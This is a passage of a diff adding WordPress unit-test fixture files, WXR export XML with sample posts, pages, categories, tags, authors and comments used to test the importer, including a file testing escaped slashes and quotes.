+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/slashes.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/slashes.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/slashes.xml	(revision 56912)
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your site. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
+<!--    contained in this file into your site. -->
+
+<!-- generator="WordPress/3.1-RC2-17315" created="2011-01-18 08:06" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+	<title>trunk</title>
+	<link>http://localhost/</link>
+	<description>trunk</description>
+	<pubDate>Tue, 18 Jan 2011 08:06:21 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+	<wp:author><wp:author_id>1</wp:author_id><wp:author_login>admin</wp:author_login><wp:author_email>local@host.null</wp:author_email><wp:author_display_name><![CDATA[admin]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[a \"great\" category]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>tag1</wp:tag_slug><wp:tag_name><![CDATA[foo\'bar]]></wp:tag_name></wp:tag>
+
+	<generator>http://wordpress.org/?v=3.1-RC2-17315</generator>
+
+	<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+		<dc:creator>author</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Slashes aren\'t \"cool\"]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2011-01-18 07:40:14</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="alpha"><![CDATA[a \"great\" category]]></category>
+		<wp:postmeta>
+			<wp:meta_key>Post by</wp:meta_key>
+			<wp:meta_value><![CDATA[admin]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/small-export.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/small-export.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/small-export.xml	(revision 56912)
@@ -0,0 +1,447 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your site. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
+<!--    contained in this file into your site. -->
+
+<!-- generator="WordPress/3.1-RC2-17315" created="2011-01-18 08:06" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+
+<channel>
+	<title>trunk</title>
+	<link>http://localhost/</link>
+	<description>Just another WordPress site</description>
+	<pubDate>Tue, 18 Jan 2011 08:06:21 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+
+	<wp:author><wp:author_id>1</wp:author_id><wp:author_login>admin</wp:author_login><wp:author_email>local@host.null</wp:author_email><wp:author_display_name><![CDATA[admin]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+	<wp:author><wp:author_id>2</wp:author_id><wp:author_login>editor</wp:author_login><wp:author_email>editor@example.org</wp:author_email><wp:author_display_name><![CDATA[editor]]></wp:author_display_name><wp:author_first_name><![CDATA[FirstName]]></wp:author_first_name><wp:author_last_name><![CDATA[LastName]]></wp:author_last_name></wp:author>
+	<wp:author><wp:author_id>3</wp:author_id><wp:author_login>author</wp:author_login><wp:author_email>author@example.org</wp:author_email><wp:author_display_name><![CDATA[author]]></wp:author_display_name><wp:author_first_name><![CDATA[]]></wp:author_first_name><wp:author_last_name><![CDATA[]]></wp:author_last_name></wp:author>
+
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[BETA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>29</wp:term_id><wp:category_nicename>chi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[CHI]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[dElta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name><wp:category_description><![CDATA[The top-level foo category]]></wp:category_description></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name><wp:category_description><![CDATA[The child foo category]]></wp:category_description></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gaMMA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[IOTA]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>mu</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[MU]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>nu</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Nu]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>31</wp:term_id><wp:category_nicename>omega</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Omega]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>22</wp:term_id><wp:category_nicename>omicron</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Omicron]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>28</wp:term_id><wp:category_nicename>phi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Phi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>23</wp:term_id><wp:category_nicename>pi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Pi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>30</wp:term_id><wp:category_nicename>psi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Psi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>24</wp:term_id><wp:category_nicename>rho</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Rho]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>25</wp:term_id><wp:category_nicename>sigma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Sigma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>26</wp:term_id><wp:category_nicename>tau</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[tAu]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[THeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>32</wp:term_id><wp:category_nicename>unused-category</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Unused category]]></wp:cat_name><wp:category_description><![CDATA[Category will not be associated with any posts.]]></wp:category_description></wp:category>
+	<wp:category><wp:term_id>27</wp:term_id><wp:category_nicename>upsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[uPsIlOn]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>xi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Xi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>eternity</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[远征手记]]></wp:cat_name><wp:category_description><![CDATA[No more duplicate categories, #13364]]></wp:category_description></wp:category>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>tag1</wp:tag_slug><wp:tag_name><![CDATA[Tag1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag2</wp:tag_slug><wp:tag_name><![CDATA[Tag2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag3</wp:tag_slug><wp:tag_name><![CDATA[Tag3]]></wp:tag_name></wp:tag>
+
+	<generator>http://wordpress.org/?v=3.1-RC2-17315</generator>
+
+	<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+		<dc:creator>author</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2011-01-18 07:40:14</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>Post by</wp:meta_key>
+			<wp:meta_value><![CDATA[author]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:comment>
+			<wp:comment_id>1</wp:comment_id>
+			<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+			<wp:comment_author_email></wp:comment_author_email>
+			<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+			<wp:comment_author_IP></wp:comment_author_IP>
+			<wp:comment_date>2011-01-18 07:40:14</wp:comment_date>
+			<wp:comment_date_gmt>2011-01-18 07:40:14</wp:comment_date_gmt>
+			<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+			<wp:comment_approved>1</wp:comment_approved>
+			<wp:comment_type></wp:comment_type>
+			<wp:comment_parent>0</wp:comment_parent>
+			<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+	</item>
+	<item>
+		<title>Sample Page</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:
+
+<blockquote>Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)</blockquote>
+
+...or something like this:
+
+<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>
+
+As a new WordPress user, you should go to <a href="http://localhost/wp-admin/">your dashboard</a> to delete this page and create new pages for your content. Have fun!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2011-01-18 07:40:14</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>sample-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Child Page</title>
+		<link>http://localhost/?page_id=4</link>
+		<pubDate>Tue, 18 Jan 2011 07:45:50 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=4</guid>
+		<description></description>
+		<content:encoded><![CDATA[This child page appears before its parent in the export file.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>4</wp:post_id>
+		<wp:post_date>2011-01-18 07:45:50</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:45:50</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>child-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>6</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Parent Page</title>
+		<link>http://localhost/?page_id=6</link>
+		<pubDate>Tue, 18 Jan 2011 07:46:09 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=6</guid>
+		<description></description>
+		<content:encoded><![CDATA[This parent page appears after its child in the export file.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>6</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:09</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:46:09</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>parent-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Draft Page</title>
+		<link>http://localhost/?page_id=9</link>
+		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=9</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is a draft.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>9</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:29</wp:post_date>
+		<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name></wp:post_name>
+		<wp:status>draft</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>1-col page</title>
+		<link>http://localhost/?page_id=11</link>
+		<pubDate>Tue, 18 Jan 2011 07:46:57 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=11</guid>
+		<description></description>
+		<content:encoded><![CDATA[Using the "One column, no sidebar" template.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>11</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:57</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:46:57</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>1-col-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[onecolumn-page.php]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Private Post</title>
+		<link>http://localhost/?p=13</link>
+		<pubDate>Tue, 18 Jan 2011 07:47:19 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=13</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged with some tags.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>13</wp:post_id>
+		<wp:post_date>2011-01-18 07:47:19</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:47:19</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>private-post</wp:post_name>
+		<wp:status>private</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="post_tag" nicename="tag1"><![CDATA[Tag1]]></category>
